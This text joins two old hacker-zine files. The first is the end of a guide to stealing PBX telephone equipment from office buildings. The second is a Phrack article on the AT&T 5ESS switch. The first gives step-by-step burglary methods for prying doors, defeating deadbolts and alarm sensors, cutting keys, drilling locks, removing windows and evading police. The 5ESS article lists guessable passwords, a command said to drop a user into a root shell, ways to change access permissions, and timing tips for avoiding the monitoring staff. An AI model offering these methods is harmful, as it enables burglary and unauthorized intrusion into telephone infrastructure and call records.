There is simply nothing so elegant as entering the building during the daytime hours, hiding, and re‑emerging to wreak havoc when everyone's gone. (A patient wait is required ‑‑ take along a Phrack to read). Unfortunately, entry will not always be so easy. The phone closet may have a dead‑bolt lock. There may be no feasible hiding place. People may constantly be working late. Because of all the potential variables, you should acquire a repertoire of means and methods. Use of these methods, though easy to learn, is not so quickly mastered. There is a certain "fluidity of technique" gained only through experience. Deciding which to use for a given situation will eventually come naturally.

‑‑ Use of tools. You can easily get around almost any office building using only screwdrivers. With practice, prying doors will be quick and silent. Although some doors have pry‑guards or dead‑bolts, about every other phone closet you'll encounter can be opened with a screwdriver. Before forcing the gap between door and frame, try sliding back the locking mechanism. For best results, work it both ways with a pair of screwdrivers; a short one for leverage, a longer one for manipulation. For dead‑bolts, a pipe wrench (a wrench with parallel grips) can turn the entire lock 90 degrees. Interior doors are cheaply constructed; if you can wrench the lock, it'll turn and the bolt will be pulled back into the door. Quality dead‑bolts have an inclined exterior to prevent it from being gripped. For these, diamond‑cutting string can be applied. This is available at select plumbing supply houses for $150 upwards.

‑‑ Ceilings and adjacent offices. Not only are the doors cheap inside office buildings, so are the walls. If you're having trouble with a door or lock, push up a ceiling tile with your screwdriver and see if the wall stops or is continuous. If it stops, you may choose to climb over. If you're already inside an office and find a particular room locked, climbing is always an option because walls are never continuous between rooms. Walls are seldom continuous between business either; if you can't get into a particular office space, try through adjacent space.

‑‑ Brute force. If making noise is not a serious concern, a crowbar will pry any door open. For most situations requiring this level of force, a sleek, miniature bar is all you need. You can also saw or hammer your way through any interior wall. Once you've made a hole in the sheetrock, you can practically break out the remainder of an opening yourself using only your hands.

From the outside, windows can be broken or removed. Office building glass is installed from the outside, so by removing the seal and applying a suction device, you can pull the entire window out. Breaking the glass is not too difficult, but frighteningly loud. Using a screwdriver, push the blade between the edge and its frame and pry. Eventually you'll have holes and cracks running across the window. Building glass is typically double‑paned; once through the exterior layer, you'll have to break the next. Because the second layer isn't as thick, you have the option of prying or smashing. This sounds extremely primitive ‑‑ it is, but it may be the only method available to you. Highly‑alarmed office structures do not have the windows wired. When there's a 5,000‑port NEC NEAX 2400 in view and alarms everywhere else, you'll break the fucking glass.

‑‑ Alarm manipulation. Entire files could be written on this subject. Some relevant facts will be touched on here; no MacGyver shit. Our "typical" office building, if alarmed, has one of three types of alarm plans. The alarm system is either externally‑oriented, internally‑oriented, or both. More often than not, externally‑oriented alarm systems are encountered. These focus on keeping outside intruders from entering the building ‑‑ interior offices are secured only by locks. Alarm devices such as magnetic switches and motion detectors are in place solely in lobby areas and on doors leading from outside. If you know in advance that you can readily enter any of the offices, the alarm is harmless. After entering, go directly into the office and look out the window. Eventually, security or police will arrive, look around, then reset the alarm and leave ‑‑ so long as you haven't left any trace of your entry (damaged doors, ceiling tile fragments, etc). Although common areas and corridors will be briefly scanned, no company offices will be entered.

Internally‑oriented alarm plans include alarms on individual offices and are more difficult to reckon with. However, the sensors are only on the doors; any method that avoids opening the door can still be used.

Access controls like cardkeys are impressive in appearance but do not automatically represent an alarm. If you open the door without inserting a cardkey, the system must be equipped to know whether a person entered the building or exited. Thus, only those systems with motion detectors or a "push button to exit" sign and button can cause an alarm at the cardkey‑controlled door. Otherwise the door and cardkey device is no more than a door with an electronic lock. There are always exceptions to the rules, of course; never trust any alarm or access control system. Sometimes a system will be programed to assume any opened door is someone entering, not exiting. Check for sensors ‑mounted flush on the door frame ‑‑ look carefully, they'll sometimes be painted over. Check both sides and top of the frame. If a sensor is found (or when in doubt) hold the door open for about ten seconds, then wait and watch for up to an hour to see if there's a silent alarm. For the "push button to exit" entrances, you can sometimes use a coat hanger or electricians fish tape to push the button from outside using cracks around the door. Where motion detectors automatically open the entrance, similar devices can be employed to create enough commotion to activate the detector (depending on detector type). Disabling part of the alarm system may be a possibility during the day. Chances are, if you can access the control CPU you've also got a place to hide, and the control box is often alarmed against tampering anyway. Many of the latest systems are continuously monitored from a central station. If not, you can disconnect the alarm box from its phone line. Your best approach however is to alter a door sensor/magnetic switch circuit. You can use a piece of conductive hot water duct tape to trick the sensor into thinking the door is always closed. This tape looks like tin foil with an adhesive on one side. Obtain a similar sensor and test at home before relying on this ‑magnetic switches come in many shapes and forms. The better systems don't even check for normally‑open or normally‑closed states, but for changes in the loop's resistance. This means simply cutting or shorting the lead wires won't suffice. But if the conductive tape won't do, you can always just cut the leads and return in a couple days. If the cut hasn't been repaired, then you have an entry point. Building managers become lax with an alarm system after it's been installed for a while and there haven't been any break‑ins. Other loops are disabled after late‑working employees repeatedly off the alarm. One other option is to cut and splice both parts of the sensor back into the loop so that it remains unaffected by movement of the door. The throughways to target for any of these alterations are minor side doors such as parking garage or stairwell exits. You should be pleasantly surprised with the results.

‑‑ Locks and picks. (This could be another textfile in itself). Lockpicking is an extremely useful skill for PBX appropriation but requires quite a bit of practice. If you aren't willing to invest the time and patience necessary to become effective with this skill, screwdrivers are the next best thing. Furthermore, with all the different types and brands of locks in existence, you'll never be able to solely rely on your lockpicking skills. Acquire this ability if your involvement in underworld activities is more than just a brief stint...

You can more readily take advantage of the skills possessed by locksmiths. Because the offices within a typical building all use the same brand lock with a common keying system, any of the locks can yield the pattern for a master key to the whole system. Obtain a spare lock from the basement, maintenance room, or anywhere extra doors and hardware are stored, and take it to a locksmith. Request a key for that lock and a master. Many of the offices should now be open to you. Some keys are labeled with numbers ‑‑ if the sequence on the key equals the number of pins in the lock, you can write down the number and lock brand, and get a duplicate of the key cut.

There is also a little locksmithing you can do on your own. With a #3 triangular "rat tail" file and a key blank to the brand lock you are targeting, you can make your own key. Blanks are either aluminum or brass and scratch easily ‑‑ this is no accident. By inserting a key blank in the lock and moving it from side to side, you'll create slate‑colored scratch lines on the blank from the lock's pins. The lines will indicate where to begin filing a valley ‑‑ there'll be one for each pin. Move the file back and forth a few times and re‑insert the key to make new lines. Use the point of the file only when beginning the valley; successive passes should not create a point at the bottom of the cut but leave a flat gap. When no new scratch appears on the bottom of a particular valley, don't file the valley any deeper ‑it's complete. Eventually, all the valleys will be cut and you'll have a key to open the lock.

Last but certainly not least, you can drill most locks where a little noise can be afforded. Using a 1/4 inch Milwaukee cordless drill with about a 1/8 inch carbide‑tipped bit, you can drill a hole the length of the lock's cylinder. Drill approximately 1/8 inch directly above the keyhole. This destroys the lock's pins in its path, and allows others above to fall down into the hole. Now the cylinder will turn with any small screwdriver placed in the keyhole and open the lock. Little practice is demanded of this technique, and it's a hell of a lot of fun.

‑‑ Elevator manipulation. Elevators can be stubborn at times in rejecting your floor requests. Companies that occupy entire floors must prevent an after‑hours elevator from opening up on their unattended office. If there's a small lock corresponding or next to that floor's selection button, unscrew the panel and short out the two electrical leads on the other end of the lock. Continue to short the contacts until you press the button and it stays lit ‑‑ you'll then arrive at your desired floor.

The elevator motor and control room is located either on the roof or penthouse level and can be frequently found accessible. Besides being a place to hide, sometimes you can find a bank of switches that override the elevator's control panel (if for some reason you can't open it or it's cardkey‑controlled) and get to your floor that way. Two people with radios are needed to do this ‑‑ one in the equipment room, one in the elevator. Watch for high voltage and getting your coat caught in a drive belt ...

Operation Integrity

By taking advantage of daytime access, hiding places, and some of the more sophisticated methods, there's no need to become an alarm connoisseur or full‑blown locksmith to liberate PBX equipment. When you can't avoid nighttime activity or an activated alarm system, then be sure to take extra precautions. Have lookouts, two‑way radios, even a police scanner. Don't use CB radios, but rather HAM transceivers or anything that operates on proprietary frequencies. This will require a small investment, but there's no price on your safety. Office buildings in downtown areas tend to be more secure than those in the suburbs or outlying areas. Location and surroundings are important considerations when your operation takes place at night. It should also be noted that a building without a security guard (typically the norm) may still subscribe to sporadic security checks where rent‑a‑cops drive around the building at some regular interval. With regard to transportation and storage, rent vehicles and facilities in alias names where appropriate. Use taxis to pick you up when you're departing with only a briefcase or single box of cards. No matter what the time may be, anyone seeing you enter a taxi in front of the office will assume you're legit.

It is our sincere wish that you apply this information to the fullest extent in order to free yourself from becoming a mere tool of capitalism, and use this freedom to pursue those things in life that truly interest you. We have tried to summarize and convey enough basic information here to provide you with a complete underground operation possibility. All material in this file is based on actual experience of the authors and their associates.

For information on the sale of PBX or other telecommunications equipment, or for any other inquiry, contact the Dark Side Research group at the following Internet address :

codec@cypher.com

Guide to the 5ESS

==Phrack Magazine==

Volume Four, Issue Forty‑Three, File 16 of 27

% % % % % % % % % % %

% % % % % % % % % % %

% %

% AT$T 5ESS(tm) %

% % From Top to Bottom % %

%

% %

% by: Firm G.R.A.S.P. %

% %

% % % % % % % % % % %

% % % % % % % % % % %

Introduction

~~~~~~~~~~~~

Welcome to the world of the 5ESS. In this file I will be covering the switch topology, hardware, software, and how to program the switch. I am sure this file will make a few people pissed off <grin> over at BellCORE. Anyways, the 5ESS switch is the best (I think) all around switch. Far better then an NT. NT has spent too much time with SONET and their S/DMS TransportNode OC48. Not enough time with ISDN, like AT$T has done. Not only that, but DMS 100s are slow, slow, slow! Though I must hand it to NT, their DMS‑1 is far better then AT$T's SLC‑96.

What is the 5ESS

~~~~~~~~~~~~~~~~

The 5ESS is a switch. The first No. 5ESS in service was cut over in Seneca, Illinois (815) in the early 1982. This test ran into a few problem, but all and all was a success. The 5ESS is a digital switching system, this advantage was realized in No. 4 ESS in 1976. The 5ESS network is a TST (Time Space Time) topology, the TSIs (Time Slot Interchangers) each have their own processor, this makes the 5ESS one of the faster switches. Though I hear some ATM switches are getting up there.

5ESS System Architecture & Hardware

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

5ESS SYSTEM ARCHITECTURE

OSS Data Links

v v v :

Input | :

.........................Output |====== TTY/CRT

‑‑‑‑‑‑‑‑‑‑‑ : Processor | :

| Switch |<=========== : :

| Module |<========] | : :

‑‑‑‑‑‑‑‑‑‑‑ : v v : : |

o : ======= ‑‑‑‑‑‑‑‑‑‑ : :

o : | TMS |<‑>|Message | : : | | Main | :

o : | |<‑>|Switch |<============ | | Store | :

‑‑‑‑‑‑‑‑‑‑‑ : ======= ‑‑‑‑‑‑‑‑‑‑

| Switch | : ^ ^ : :

| Module |<========= | : : v v | :

‑‑‑‑‑‑‑‑‑‑‑<===========

:........................3B |======= :

Central | :

Control |<=====> Disk! :

COMMUNICATIONS MODULE ADMINISTRATIVE MODULE

The 5 ESS is a digital SPC switching system which utilizes distributed control, a TST switching network and modular hardware and software design.

The major components are:

ADMINISTRATIVE MODULE

Two 3B20S Processors (Which equal a 3B20D)

‑ Central control and main storage

‑ Disk storage for infrequently used programs and data, and main storage regeneration.

‑ The two 3B20S processors are always comparing data, and when one fails the other acts in its place.

Two Input/Output Processors (IOP)

‑ Provides TTY and data‑link interfaces to the 3B20D Processor, 5ESS Network, Master Control Center (MCC), and various Operational Support Systems (OSS). Here is a list of the defult TTY (also called "channels")

tty Channel Name

ttyA Master control console (MCC) terminal. ttyB Master control console (MCC) terminal. ttyC Traffic report printer

ttyJ supplementary trunk and line work station (STLWS) terminals ttyK supplementary trunk and line work station (STLWS) terminals ttyL supplementary trunk and line work station (STLWS) terminals ttyM supplementary trunk and line work station (STLWS) terminals ttyN supplementary trunk and line work station (STLWS) terminals ttyO supplementary trunk and line work station (STLWS) terminals ttyP Repair service bureau ‑ Recent change and verify (RSB‑RCV) ttyR Office records printer

ttyQ Switching control center‑recent change and verify (SCC‑RCV) terminals

ttyR Repair service bureau‑automatic line insulation testing (RSB‑ALIT) terminal.

ttyS Switching control center‑recent change and verify (SCC‑RCV) terminals

ttyT Switching control center‑recent change and verify (SCC‑RCV) terminals

ttyU Belt line B

ttyV Local recent change and verify (RCV) terminal ttyW Remote recent change and verify (RCV) terminal. ttyY Network administration center (NAC) terminal. ttyZ The switching control center (SCC) terminal. ttyi SLC(R) carrier maintenance

ttyj STLWS ‑ fifth of six

ttyk STLWS ‑ sixth of six

ttyl STLWS ‑ first of six

ttym STLWS ‑ second of six

ttyn STLWS ‑ third of six

ttyo STLWS ‑ fourth of six

ttyp RCV/Repair Service Bureau

ttyq RCV/Network Administration Center

ttyr ALIT/Repair Service Bureau

ttys Maintenance

ttyt Maintenance

ttyu Belt line A

ttyv Local RC/V

ttyw Remote RC/V

ttyx Maintenance Control Center/Switching Control Center System (MCC/SCCS)

ttyy Maintenance Control Center/Switching Control Center System (MCC/SCCS)

ttyz Maintenance Control Center/Switching Control Center System (MCC/SCCS)

FILE Destination file name in /rclog partition

mt00 High‑density tape device, rewind after I/O mt04 High‑density tape device, does not rewind after I/O mt08 Low‑density tape device, rewind after I/O mt0c Low‑density tape device, does not rewind after I/O mt18 Low‑density tape device, rewind after I/O mt1c Low‑density tape device, does not rewind after I/O mttypc0 Special tape device, IOP 0, rewind after I/O mttypc1 Special tape device, IOP 1, rewind after I/O.

Two Automatic Message Accounting (AMA) units

‑ Uses data links to transport calling information to central revenue accounting office and AMA tape. Here is the basic structure AMA structure for the OSPS model.

‑ Called customer's telephone number, either a seven‑ or ten‑digit number

‑ Calling customer's telephone number, seven digits ‑ Date

‑ Time of day

‑ Duration of conversation.

COMMUNICATIONS MODULE

Message Switch (MSGS)

‑ Provides for control message transfer between the 3B20D Processor and Interface Modules (IM's)

‑ Contains the clock for synchronizing the network.

Time Multiplexed Switch (TMS)

‑ Performs space division switching between SM's

‑ Provides permanent time slot paths between each SM and the MSGS for control messages between the Processor and SM's (or between SM's)

Switching Module (SM)

‑ Terminates line and trunks

‑ Performs time division switching

‑ Contains a microprocessor which performs call processing function for the SM

5ESS ‑ SWITCH MODULE

SMPU |

‑‑‑‑‑‑‑‑‑

| | (64) | |

Analog Sub Lines <‑‑‑‑>| LU |<‑‑‑‑‑‑‑‑>| |

|‑‑‑‑‑‑‑|

| | (64) | |

Analog Trunk Lines <‑‑>| TU |<‑‑‑‑‑‑‑‑>| | (256)

|‑‑‑‑‑‑‑| TSIU |<‑‑‑‑‑‑‑‑> NCT

| | Links

| | (128) | 512 | to

SLC‑96 Remote <‑‑‑‑‑‑‑>| DCLU |<‑‑‑‑‑‑‑‑>| Time |<‑‑‑‑‑‑‑‑> TMS

| | Slots |

|‑‑‑‑‑‑‑|

| |

| |

| |

| | (256) | |

T1 Lines <‑‑‑‑‑‑‑‑‑‑>| DLTU |<‑‑‑‑‑‑‑‑>| |

| |

| |

| |

‑‑‑‑‑‑‑‑‑

DSU |

COMMON COMPONENTS OF THE SWITCH MODULE (SM)

Switch Module Processor Unit (SMPU)

‑ Contains microprocessors which perform many of the call processing functions for trunks and links terminated on the SM.

Time Slot Interchange Unit (TSIU)

‑ 512 time slot capacity

‑ Connects to the TMS over two 256‑time slot Network Control and Timing (NCT) links.

‑ Switches time slots from Interface Units to one of the NCT links (for intermodule calls).

‑ Switches time slots from one Interface Unit to another within the SM (for intramodule calls).

Digital Service Unit (DSU)

‑ Local DSU provides high usage service circuits, such as tone decoders and generators, for lines and trunks terminated on the SM. ‑ Global DSU provides low usage service circuits, such as 3‑port conference circuits and the Transmission Test Facility, for all lines and trunks in the office (requires 64 time slots).

The SM may be equipped with four types of Interface Units:

Line Unit (LU)

‑ For terminating analog lines.

‑ Contains a solid‑state two‑stage analog concentrator that provides access to 64 output channels. The concentrator can be fully equipped to provide 8:1 concentration or can be fully equipped to provide 6:1 or 4:1 concentration.

‑ Each TU requires 64 time slots.

Trunk Unit (TU)

‑ For terminating analog trunks.

‑ Each TU requires 64 time slots.

Digital Line Trunk Unit (DLTU)

‑ For terminating digital trunks and RSM's.

‑ Each fully equipped DLTU requires 256 time slots.

‑ A maximum of 10 DSls maybe terminated on one DLTU.

The SM may be equipped with any combination of LU's, TU's, DCLU's and DLTU's totaling 512 time slots.

5ESS System Software

~~~~~~~~~~~~~~~~~~~~

The 5ESS is a UNIX based switch. UNIX has played a large part in switching systems since 1973 when UNIX was use in the Switching Control Center System (SCCS). The first SCCS was a 16 bit microcomputer. The use of UNIX for SCCS allowed development in C code, pseudo code, load test, structure and thought. This led the development of the other switching systems which AT$T produces today (such at System 75, 85, 1AESS AP, and 5ESS). NOTE: You may hear SCCS called the "mini" sometimes

The 5ESS's /etc/getty is not set up for the normal login that one would expect to see on a UNIX System. This is due to the different channels that the 5ESS has. The some channels are the TEST Channel, Maintenance Channel, and RC Channel (which will be the point of focus). Once you are on one channel you can not change the channel, as someone has said " it is not a TV!" You are physically on the channel you are on.

Test Channel

~~~~~~~~~~~~

The TEST channel is where one can test lines, and test the switch itself. This is where operating support systems (such as LMOS) operate from. This channel allows one to monitor lines via the number test trunk aka adding a third trunk), voltage test and line seizure.

Here is a list of OSSs which access the test channels on the 5ESS.

Group Operating Support Systems

Special Service Center

SMAS via NO‑Test SARTS (IPS) NO‑TEST trunk (from the switch) TIRKS

17B and 17E test boards (CCSA net using X‑Bar) RTS

BLV

POVT

DTAC

etc...

Repair Service Bureau

#16LTD

#14LTD

LMOS (IPS) MLT‑2

ADTS

TIRKS

TFTP

TRCO

DAMT

ATICS

etc...

SCC Channel

~~~~~~~~~~~

The SCC channel is where the SCC looks and watches the switch 24 hours a day, seven days a week! From this channel one can input RC messages if necessary. A lot of people have scanned these out, and though they were AMATs. Well this is in short, WRONG! Here is a sample buffering of what they are finding.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

S570‑67 92‑12‑21 16:16:48 086901 MDIIMON BOZOVILL DS0

A REPT MDII WSN SIGTYPE DP TKGMN 779‑16 SZ 21 OOS 0 SUPRVSN RB TIME 22:16:48 TEN=14‑0‑1‑3‑1 TRIAL 1 CARRFLAG NC ID OGT NORMAL CALL CALLED‑NO CALLING‑NO DISCARD 0

S4C0‑148963487 92‑12‑21 16:17:03 086902 MAIPR BOZOVILL DS0 OP:CFGSTAT,SM=1&&192,OOS,NOPRINT; PF

S570‑67 92‑12‑21 16:17:13 086903 S0 BOZOVILL DS0

M OP CFGSTAT SM 5 FIRST RECORD

UNIT MTCE STATE ACTIVITY HDWCHK DGN RESULT LUCHAN=5‑0‑0‑3‑4 OOS,AUTO,FE BUSY INH CATP LUCHAN=5‑0‑0‑2‑5 OOS,AUTO,FE BUSY INH ATP LUCHAN=5‑0‑0‑0‑3 OOS,AUTO,FE BUSY INH ATP LUCHAN=5‑0‑0‑3‑5 OOS,AUTO,FE BUSY INH ATP LUHLSC=5‑0‑0‑1 OOS,AUTO,FE BUSY INH ATP LUCHAN=5‑0‑0‑0‑2 OOS,AUTO,FE BUSY INH CATP LUCHAN=5‑0‑0‑3‑6 OOS,AUTO,FE BUSY INH ATP LUCHAN=5‑0‑0‑1‑4 OOS,AUTO,FE BUSY INH ATP

S570‑983110 92‑12‑21 17:09:53 144471 TRCE WCDS0

A TRC IPCT EVENT 2991

DN 6102330000 DIALED DN 6102220001

TIME 17:09:52

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This has nothing to do with AMA, this is switch output on say the SCC channel. This is used by the SCCS for logging, and monitoring of alarms. The whole point of this channel is to make sure the switch is doing what it should do, and to log all activity on the switch. NOTHING MORE! To go into these messages and say what they are would take far too long, order the OM manuals for the 5ESS, watch out, they are about 5 times the size of the IM (input manual) set. On average it takes someone three years of training to be able to understand all this stuff, there is no way anyone can write a little file in Phrack and hope all who read it understand everything about the 5ESS. RTFM!

RC Channel

~~~~~~~~~~

The RC/V (Recent Change/Verify) Channel is where new features can be added or taken away from phone lines. This is the main channel you may come in contact with, if you come in contact with any at all. When one connects to a 5ESS RC/V channel one may be dumped to a CRAFT

shell if the login has not been activated. Access to the switch when the login is active is controlled by lognames and passwords to restrict unwanted entry to the system. In addition, the SCC (Switching Control Center) sets permission modes in the 5ESS switch which control the RC (recent change) security function.

The RC security function determines whether recent changes may be made and what types of changes are allowed. If a situation arises where the RC security function denies the user access to recent change via RMAS or RC channels, the SCC must be contacted so that the permission modes can be modified. (Hint Hint)

The RC security function enables the operating telephone company to decide which of its terminals are to be allowed access to which set of RC abilities. NOTE that all verify input messages are always allowed and cannot be restricted, which does not help too much. The RC security data is not part of the ODD (office dependent data). Instead, the RC security data is stored in relatively safe DMERT operating system files which are only modifiable using the following message:

SET:RCACCESS,TTY="aaaaa",ACCESS=H'bbbbb;

where: aaaaa = Symbolic name of terminal in double quotes H' = Hexadecimal number indicator in MML

bbbbb = 5‑character hexadecimal field in 5E4 constructed from binary bits corresponding to RC ability. The field range in hexadecimal is from 00000 to FFFFF.

This message must be entered for each type terminal (i.e. "aaaaa"="rmas1", "rmas2", etc., as noted above in TTY explanations).

NOTE: Order IM‑5D000‑01 (5ESS input manual) or OM‑5D000‑01 (5ESS output manual) for more information on this and other messages from the CIC at 1‑800‑432‑6600. You have the money, they have the manuals, do not ask, just order. I think they take AMEX!

When the message is typed in, a DMERT operating system file is created for a particular terminal. The content of these files, one for each terminal, is a binary field with each bit position representing a unique set of RC abilities. Conversion of this hexadecimal field to binary is accomplished by converting each hexadecimal character to its equivalent

4‑bit binary string.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

HEX BINARY | HEX BINARY | HEX BINARY | HEX BINARY

‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑

0 0000 | 4 0100 | 8 1000 | C 1100

‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑

1 0001 | 5 0101 | 9 1001 | D 1101

‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑

2 0010 | 6 0110 | A 1010 | E 1110

‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑

3 0011 | 7 0111 | B 1011 | F 1111

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Each bit position corresponds to a recent change functional area. A hexadecimal value of FFFFF indicates that all bit positions are set to 1 indicating that a particular terminal has total RC access. Also, verify operations as well as lettered classes are not included in the terminals security scheme since all terminals have access to verify views and lettered classes.

In addition, maintenance personnel are able to verify the security code for any terminal by typing the following message from either the MCC (Master Control Center) or SCCS (Switching Control Center System) Mini terminal:

OP:RCACCESS,TTY="xxxxx";

where: xxxxx = symbolic name of terminal in double quotes.

Each bit position corresponds to a recent change functional area.

To ensure redundancy, DMERT operating system files are backed up immediately on disk by the SCC.

The input message that defines the password and CLERK‑ID (another name for username) is in the Global RC feature. This input message defines a clerk‑id and associated password or deletes an existing one. (Recall that CLERK‑ID and PASSWORD are required fields on the Global RC Schedule view 28.1 in RCV:MENU:APPRC, but more on this later)

This new input message is as follows:

GRC:PASSWORD,CLERKID=xxxxxxxxxx,[PASSWD=xxxxxxxx|DELETE]

Note: CLERKID can be from 1 to 10 alphanumeric characters and PASSWORD from 1 to 8 alphanumeric characters.

This input message can only be executed from the MCC or SCCS terminals, and only one password is allowed per CLERK‑ID. To change a clerk‑id's password, this message is used with the same CLERK‑ID but with a different password.

Global RC Schedule View 28.1 from the RC/V Recent Change Menu System

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

5ESS SWITCH WCDS0 RECENT CHANGE 28.1 GLOBAL RECENT CHANGE SCHEDULING

*1. GRC NAME __________

*2. SECTION _____

#3. CLERK ID __________

#4. PASSWORD ________

5. MODE _______

6. RDATE ______

7. RTIME ____

8. SPLIT _

9. SPLIT SIZE _____

10. MAX ERRORS _____

11. VERBOSE _

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

When the security is set up on the RC/V channel, one will see:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

5ESS login

15 WCDS0 5E6(1) ttsn‑cdN TTYW

Account name:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

There are no defaults, since the CLERK‑ID and the password are set by craft, but common password would be the name of the town, CLLI, MANAGER, SYSTEM, 5ESS, SCCS1, SCC, RCMAC, RCMAxx, etc,...

If one sees just a " < " prompt you are at the 'craft' shell of the RC/V channel, the 5E login has not been set. The Craft shell is running on the DMERT (which is a UNIX environment development operating system, a System V hack). The Craft shell prompt is a "<". From this shell one will see several error messages. Here is a list and what they mean:

Error Message Meaning

?A Action field contains an error

?D Data field contains an error

?E Error exists in the message but can not be resolved to the proper field (this is the "you have no idea" message) ?I Identification field contains an error ?T Time‑out has occurred on channel

?W Warning exists in input line

Other output message meanings, from the RC/V craft menu.

OK Good

PF Printout follows

RL Retry later

NG No good, typically hardware failure (ie: SM does not exist)

IP In progress

NA The message was not received by the backup control process

When inputing RC messages it is best to do it in the middle of the day since RC messages are sent to each channel! The SCC is watching and if there are RC messages running across at 3 in the morning, the SCC is going to wonder what the hell RCMAC (Recent Change Memory Administration Center) is doing at three in the morning! However, one may be hidden by MARCH's soaking, and the night shift at the SCC are overloaded and may miss what is going on while correcting other major problems. So it is up to you.

DMERT

~~~~~

The DMERT (Duplex Multiple Environment Real Time) uses the Western Electric (another name for AT$T!) 3B20D Duplex processor (or 2 3B20S Simplex processors). The DMERT software totals nearly nine thousand source files, one million lines of non‑blank source code,

and was developed by approximately 200 programers. There are eight main releases of this software, they are referred to as generics (like 5E4.1, 5E4.2, to 5E8.1 also seen as 5E4(1), 5E4(2) to 5E8(1), this can be though of as DOS version). DMERT is similar to regular UNIX but can be best described as a custom UNIX system based on the 3B20D, the DMERT OS can be ported to PDP‑11/70s or a large IBM Mainframe. The DMERT operating system is split both logically and physically. Physically, the software is evenly divided across the five (there were seven Software Development systems all running a 3B20S where the DMERT code was written) Software Development systems. Logical, the software is divided into twenty‑four different subsystems. To access this from the "craft" shell of the RC/V channel, type:

RCV:MENU:SH!

NOTE:

This will dump one to a root shell, from which VaxBuster's (Who knows nothing about VAXen, always wondered about him) file on how to redirect a TTY may come in useful.

Programing the 5ESS

~~~~~~~~~~~~~~~~~~~

When programing the 5ESS there are things one should know, the first is that one has a lot of power (just keep 911 in mind, it would be foolish to even think of disrupting anyones service. 911 is there for a reason, it should STAY that way). And anything one does is logged, and can be watched from the SCC. Note that the night SCC crew is a lot more lax on how things are done then the day shift, so it would be best to do this at night. I could tell you how to crash the switch in two seconds, but that is not the point here. Destroying something is easy, anyone can do that, there is no point to it. All that taking down a switch will do is get one into jail, and get sued if someone needed 911 etc,... (I think SRI is wishing they had talked to me now).

RC from Craft Shell on RC/V Channel

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

RC and VFY is complex from the craft shell on the RC/V channel. This is called the input text option. It is accessed by using the

RCV:APPTEXT:

This gets a little complex to follow, but the best thing to do is to order the Manual 235‑118‑215 Recent Change Procedures Text Interface [5E4] it is $346.87, another good one to get is 235‑118‑242, for $413 even and last, but the best is 235‑118‑243, this beast is only $1344.63 what a deal. When calling the CIC they will transfer you to a rep. from your area. Gets to be kind of a pain in the ass, but.. Anyways, back on track:

RCV:APPTEXT:DATA[,SUMMARY|,NSUMMARY][,VFYIMMED|,VFYEND][,VFYNMVAL|,VFYSCIMG] [,DEVICE={STDOUT|ROP|ROP0|FILE|TTYx}],FORM=...,DATA,FORM=...,END;

DATA ‑ This is for more then one RC operation in the same command

FORM ‑ The format that is to be used

SUMMARY ‑ Turns on one line summaries on the read only printer (ROP) (DEFULT) NSUMMARY ‑ Turns off one line summary logging by the ROP

VFYIMMED ‑ Prints out verifies (VFYs) immediately, does not wait for session end.

VFYEND ‑ Prints out all VFYs at session end, this is the DEFULT.

VFYNMVAL ‑ Print verify output in name‑value pair format, this must be directed into a file (see DEVICE).

VFYSCIMG ‑ Makes output into screen size image (DEFULT).

DEVICE ‑ Redirect verify output to a device other than ones screen.

ROP/ROP0 ‑ Send verify output to the ROP

STDOUT ‑ Send verify output to ones screen (DEFULT)

TTYx ‑ Send verify output to any valid tty (such as ttya and ttyv) that exists in "/dev." You must use the tty name, not tty number. FILE ‑ Send verify output to a file in "/rclog". The file will be prefixed with "RCTX", and the user will be given the name of the file at the beginning and end of the APPTEXT session. END ‑ END of message.

If the parameter is not entered on the command line, it may be entered after the APPTEXT process begins, but must be entered prior to the first "FORM=" statement. Here is a example of a MML RCV:APPTEXT.

rcv:apptext:data,form=2v1&vfy,set="oe.entype"&lset="oe.len"&xxxxxxxx,pty=i,vfy!

The 2V1 may look strange at first, it may help getting use to the basics first. To just VFY telephone numbers, just do a:

RCV:APPTEXT:DATA,FORM=1V6‑VFY,TN=5551212,VFY,END!

Though I can not really explain this any more then I have just due to time and space. These input messages may look complex at first, but are really simple, and much better then dealing with the menu system, but you will need to learn RC yourself! No one can explain it to you.

Pulling AMA from the RC/V channel Craft Shell

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Pulling AMA up is done with one command. The command is:

OP:AMA:SESSION[,ST1|,ST2];

This command will request a report of the current or most recent automatic message accounting (AMA) tape. ST1 and ST2 are the data streams.

Pulling up out of Service Lines, Trunks or Trunk Groups

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

One may want to pull up all the out of service lines, trunks, or trunk groups for many reasons. These reasons i will not go into, but from which lines can be set up. The command to do this from the craft shell is a PDS command, this command is with a 'ball bat' (a `` ! '').

